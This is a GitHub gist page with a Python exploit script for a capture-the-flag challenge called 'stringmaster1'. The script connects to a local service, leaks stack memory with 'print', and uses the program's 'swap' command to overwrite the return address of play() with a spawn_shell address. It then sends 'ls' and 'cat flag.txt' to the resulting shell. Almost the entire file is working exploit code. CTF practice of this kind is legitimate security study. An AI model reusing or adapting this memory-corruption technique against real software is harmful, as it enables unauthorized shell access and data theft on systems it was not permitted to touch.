This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
HOST = '127.0.0.1' | |
PORT = 22224 | |
# Indexes of bytes that will be swapped to represent spawn_shell address. | |
# They may be in the memory proceeding string's local data pointer, | |
# or they may not - depends on luck. If not, retry. | |
index_0x40 = -1 | |
index_0x11 = -1 | |
index_0xa7 = -1 | |
# Memory addresses on which swapping with indexes above will be called, | |
# to overwrite return pointer from play() function. | |
# We're placing those bytes in reversed order. | |
# Base offset represents offset from local data pointer in multiples of 8 bytes. | |
base_offset = 17 | |
offset_0xa7 = (base_offset * 8) | |
offset_0x11 = (base_offset * 8) + 1 | |
offset_0x40 = (base_offset * 8) + 2 | |
# Last retrieved input from stringmaster1 program, as an array of byte arrays. | |
# ex. [b'\x00\x00\x00\x00, b'\x11\x11\x23\x32\x53] ... etc] | |
# It's randomly split into chunks, but from experience I can tell that the | |
# first chunk after 'print' will always be the data proceeding local data pointer. | |
byte_arr_input = [] | |
# Last retrieved input from stringmaster1 program, as a single UTF-8 string. | |
# Characters that are not recognized as a UTF-8 character will be replaced by | |
# U+FFFD replacement character. | |
string_input = '' | |
# Set to true, when expecting shell output to be printed. | |
shell_expected = False | |
def send_replace(s): | |
command = 'replace X a\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_print(s): | |
command = 'print\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0x40(s): | |
global index_0x11 | |
global index_0xa7 | |
global index_0x40 | |
print('*** Full Data ***') | |
print(str(byte_arr_input)) | |
print('*** Analyzed data ***') | |
# Only the first chunk of retrieved data is going to by analyzed, since it contains data we requested, without | |
# the command prompt text ('Enter the command you want to execute:' ... etc) | |
analyzed_bytes = byte_arr_input[0] | |
print(str(analyzed_bytes)) | |
print_hex_formatted(analyzed_bytes) | |
print('*** End of data ***') | |
index_0x40 = search_for_index(0x40, analyzed_bytes) | |
index_0x11 = search_for_index(0x11, analyzed_bytes) | |
index_0xa7 = search_for_index(0xa7, analyzed_bytes) | |
print('0x40: ' + str(index_0x40)) | |
print('0x11: ' + str(index_0x11)) | |
print('0xa7: ' + str(index_0xa7)) | |
if index_0x40 == -1 or index_0x11 == -1 or index_0xa7 == -1: | |
print('Indexes not found.') | |
exit(0) | |
else: | |
print('Indexes found:') | |
command = 'swap ' + str(offset_0x40) + ' ' + str(index_0x40) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_quit(s): | |
# Printing bytes again for debug purposes, to make sure | |
# bytes we wanted to change were swapped. | |
print('*** Full Data ***') | |
print(str(byte_arr_input)) | |
print('*** Analyzed data ***') | |
analyzed_bytes = byte_arr_input[0] | |
print(str(analyzed_bytes)) | |
print_hex_formatted(analyzed_bytes) | |
print('*** End of data ***') | |
command = 'quit\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0x11(s): | |
global index_0x11 | |
command = 'swap ' + str(offset_0x11) + ' ' + str(index_0x11) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_ls(s): | |
global shell_expected | |
command = 'ls\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
shell_expected = True | |
def send_cat_flag(s): | |
global shell_expected | |
command = 'cat flag.txt\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0xa7(s): | |
global index_0xa7 | |
command = 'swap ' + str(offset_0xa7) + ' ' + str(index_0xa7) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def exec_next_function(client): | |
global current_command | |
global commands | |
if current_command < len(commands): | |
commands[current_command](client) | |
current_command += 1 | |
return True | |
else: | |
return False | |
def wait_for_input(client): | |
global byte_arr_input | |
global string_input | |
byte_arr_input.clear() | |
# If shell command output is expected, just read any portion of data that is ready, | |
# don't look for any line-ending phrases. | |
if shell_expected: | |
print('> Shell expected.') | |
bytes = client.recv(1024) | |
byte_arr_input.append(bytes) | |
string_input += bytes.decode('UTF-8', 'replace') | |
else: | |
while ((string_input.find('\n>') == -1) or (string_input.find('[4] quit') == -1)) and \ | |
(string_input.find('You lost.') == -1): | |
bytes = client.recv(1024) | |
byte_arr_input.append(bytes) | |
string_input += bytes.decode('UTF-8', 'replace') | |
print(string_input) | |
string_input = '' | |
def print_hex_formatted(arr): | |
offset = len(arr) | |
line = 1 | |
while offset > 0: | |
string = 'line: ' + str(line).zfill(3) + ': ' | |
if offset >= 8: | |
for a in range(0, 8): | |
string += '0x' + hex(arr[a + (line - 1) * 8]).replace('0x', '').ljust(2, '0') + ' ' | |
else: | |
for a in range(0, offset): | |
string += '0x' + hex(arr[a + (line - 1) * 8]).replace('0x', '').ljust(2, '0') + ' ' | |
print(string) | |
offset -= 8 | |
line += 1 | |
def search_for_index(char, arr): | |
for a in range(0, len(arr)): | |
if arr[a] == char: | |
return a | |
return -1 | |
current_command = 0 | |
commands = [ | |
send_replace, | |
send_print, | |
send_swap_0x40, | |
send_swap_0x11, | |
send_swap_0xa7, | |
send_print, | |
send_quit, | |
send_ls, | |
send_cat_flag | |
] | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client: | |
client.connect((HOST, PORT)) | |
more_functions = True | |
while True: | |
wait_for_input(client) | |
if not more_functions: | |
break | |
else: | |
more_functions = exec_next_function(client) | |
print('Exiting...') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment